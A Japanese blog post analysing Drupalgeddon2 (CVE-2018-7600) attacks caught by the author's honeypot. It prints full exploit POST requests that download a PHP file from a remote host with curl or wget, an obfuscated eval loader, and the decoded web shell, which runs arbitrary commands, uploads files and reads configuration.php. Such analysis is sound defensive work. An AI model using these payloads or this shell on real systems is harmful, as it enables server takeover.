Drupal の脆弱性(CVE-2018-7600)の攻撃例
先日ご紹介したDrupalの脆弱性を狙ったアタックの具体的な攻撃例をご紹介します。
今回僕のハニーポットに来ていた攻撃のアクセスは3種類あり、どれもphpファイルを配置するような動きを行う処理でした。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 183 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=curl+-o+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 183 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget+-O+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 2055 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22PD9waHAgZXZhbChnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ3JVbDZZdHMyRVA2OEFQa1BESFJBTmszTGRvY0JVaElaQzI5c0RiYlltWEx2aXhNSXNsSGJlU1JFSUttNFhwRC8zanRGOGxpVGMzWkVJMEJ4M3ZQY1BmZWlvNW1VVDRhU0ZVOTNuaStheDYzVHd3TStKODBqcmhUVHpWTVkrRTVqT1J4Wm5VejBLYnBtWVZ1dFh4NE9EeHIzWEdRZGl6TFh4Q1BIUUhlczJBd2VrVEQ2MXg5YTZjZngrRHI4T0F6RzlCYk5QUCswZEI3NS8xbjhZQnhCVTVjV01CUEpHaEEwVnlLeWp2SUZBUWFMTmJuSjBUWHlLY0pITkhUWlpNSUErZ2ZQYkxnQWxRNGVocGxWbUxQUnZ3RzJ5RkJRc2JpVVhLL0JmV1BlOThPcmJzOEhCOE4rbjU0K0hoNndSN0VYUXdNQW1kQlpGbGx0RUdRcGxKNnQ4eWh3elZwVGp2MGZudmR0SXloR2xUTzcwMCtDazJLUlUvN1ZZK3p2a3A1SHZDcndTZWNUeEpzM1V5Q2ZOK3V1L2VtUHAwR2NpcHh1eDdCdVY1UXljN3N0WTRLTDBlWDFPT3hmL3UwUHpxOTh4N1FoYmxkbTRucEV2ZUhGNU1vZmpNUFJZemhwWVYzYVRCVjZuc2QyQ1VOOFNUd3JSZVlXeXdJYkpKbk4wTVo3V0t6RGxsc ・・・+%7C+base64+-d+%7C+tee+t6nv.php
phpファイルの中身はどんなものかというと 、こんな感じです。
<?php eval(gzinflate(str_rot13(base64_decode('rUl6Yts2EP68APkPDHRANk3LdocBUhIZC29sDbbYmXLvixMIslHbeSREIKm4XpD/3jtF8liTc3ZEI0Bx3vPcPfeio5mUT4aSFU93ni+ax63TwwM+J80jrhTTzVMY+E5jORxZnUz0KbpmYVutXx4ODxr3XGQdizLXxCPHQHes2AwekTD61x9a6cfx+Dr8OAzG9BbNPP+0dB75/1n8YBxBU5cWMBPJGhA0VyKyjvIFAQaLNbnJ0TXyKcJHNHTZZMIA+gfPbLgAlQ4ehplVmLPRvwG2yFBQsbiUXK/BfWPe98Orbs8HB8N+n54+Hh6wR7EXQwMAmdBZFlltEGQplJ6t8yhwzVpTjv0fnvdtIyhGlTO700+Ck2KRU/7VY+zvkp5HvCrwSecTxJs3UyCfN+uu/emPp0Gcipxux7BuV5Qyc7stY4KL0eX1OOxf/u0Pzq98x7Qhbldm4npEveHF5MofjMPRYzhpYV3aTBV6nsd2CUN8STwrReYWywIbJJnN0MZ7WKzDllrgJ2nv5EjdO7HdA0O8FISe.・・・')))); ?>
Base 64でエンコードされていて、ROT13変換で暗号化処理されていて、deflate圧縮されていて、最後にevalで実行処理がされていますが、どんな処理が動いているのか、これだとわかりません。。。
そこで、evalの箇所をechoに変更して実行してみると、こんなphpの処理が実行されていることが判明しました。
error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>UnKnown - Simple Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['rf'])){
$rf = file_get_contents("../../configuration.php");
echo $rf;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
これを見るとなんと任意のファイルをアップロードして、任意のコマンドを実行できるPHPファイルであることが分かります。 PHPが動いているサーバを乗っ取るようなファイルであることが分かります。
このファイルが実行されていると思われる外部のサーバを見つけたので、画面サンプルとして紹介します。

攻撃者は、この画面を利用してファイルをアップロードしたり、コマンドを実行したりするものと思われます。
怖いですねー。。。